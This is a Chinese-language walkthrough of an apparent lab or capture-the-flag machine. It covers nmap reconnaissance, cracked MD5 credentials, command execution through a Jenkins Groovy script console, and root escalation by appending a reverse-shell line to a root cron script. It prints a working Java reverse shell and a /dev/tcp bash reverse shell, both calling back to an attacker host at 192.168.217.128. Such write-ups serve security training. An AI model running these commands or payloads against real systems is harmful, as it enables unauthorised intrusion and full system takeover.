信息收集
主机存活探测
nmap -sn 192.168.217.131 -oA ./hosts
端口探测
nmap -sT -p- 192.168.217.131 -oA ./ports
详细信息探测
nmap -sT -sV -sC -O 192.168.217.131 -oA ./details
可以看到开放了22、80、3306、8080端口,操作系统为linux系统,80和8080端口存在http服务。
UDP端口扫描
nmap -sU --top-ports 20 192.168.217.131 -oA ./udp
漏洞探测
nmap -sT --script=vuln -p22,80,3306,8080 192.168.217.131 -oA ./vuln
渗透测试
3306
mysql -h 192.168.217.131 -u root -p
80
访问首页:
看了源码也没发现什么东西,不知道这是一个什么东西,尝试进行目录扫描。
发现了access.html,看看里面有啥东西吧:
账号和md5加密的密码?
利用hash-identify确定这就是md5加密的密码,利用在线md5进行解密:得到了三个明文的密码!
尝试利用ssh进行登录,但是没有成功~
8080
访问下看看有什么东西吧:
这个jenkins!熟悉,在之前实习的时候,还发现了它存在命令执行!这里需要进行登录,尝试未授权直接访问/script,不存在未授权访问漏洞,那么就需要尝试登录了。
在线收集了一下可能存在相关弱口令信息,但是没登陆成功。。
但是想起来了之前在80端口上发现的三个账号和密码,尝试进行登录,成功发现第三个账号能登陆!这不就来了嘛!
这里去搜索了一下jenkins的漏洞:Jenkins-功能未授权访问导致的远程命令执行漏洞 - Jenkins
未授权访问导致的命令执行漏洞;
尝试执行脚本:
println "whoami".execute().text
println "ifconfig".execute().text
确实存在命令执行漏洞。尝试进行反弹shell:
String host="192.168.217.128";
int port=3333;
String cmd="/bin/bash";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
本地攻击机起一个监听器:nc -lvnp 3333
尝试进行提权:尝试利用sudo -l列出当前用户的权限:
但是没什么信息!看一下/etc/passwd:
大体上一看,知道root eder是有bash的,可以看到当前用户的bash设置了false,可能就是我们的bash存在一些限制!
看一下定时任务(渗透做的多了就知道要看了,这里我就不知道,小菜鸡~)
cat /etc/crontab
可以看到最后一行,大概的意思就是每五分钟,以root身份执行一下/etc/script/CleaningScript.sh脚本文件,将结果扔到垃圾桶。
因此就知道了这个脚本他是以root身份执行的!如果我们能往这个文件中写入命令,不就可以以root身份去执行我们的命令了嘛!
看一下这个文件的内容,当然看不看的都无所谓。这个文件的功能就是每五分钟执行一次清空访问日志的操作!
那么我们就尝试往文件里面追加反弹shell的命令:
echo "/bin/bash -i >& /dev/tcp/192.168.217.128/4444 0>&1" >> /etc/script/CleaningScript.sh
同时我们再新启动一个监听器,监听本地的4444端口,等待最长时间5分钟,我们应该就会得到一个bash:
最终我们得到了一个bash,看一下是不是root权限:
确实是root权限,提权成功了,看一下家目录下面的flag!
补充
之前上面我在拿shell的时候,用的是script路径进行执行命令的。这里看了大佬的笔记,又发现了一种更加简单的方法!
新建一个项目:
随便输入一个项目的名字,然后选择类型,这里选择freestyle project即可:
最下面有一个execute shell我们选择这个:
输入反弹shell命令,然后保存:
点击build now,便会执行命令:
这种拿shell的方式感觉更简单点!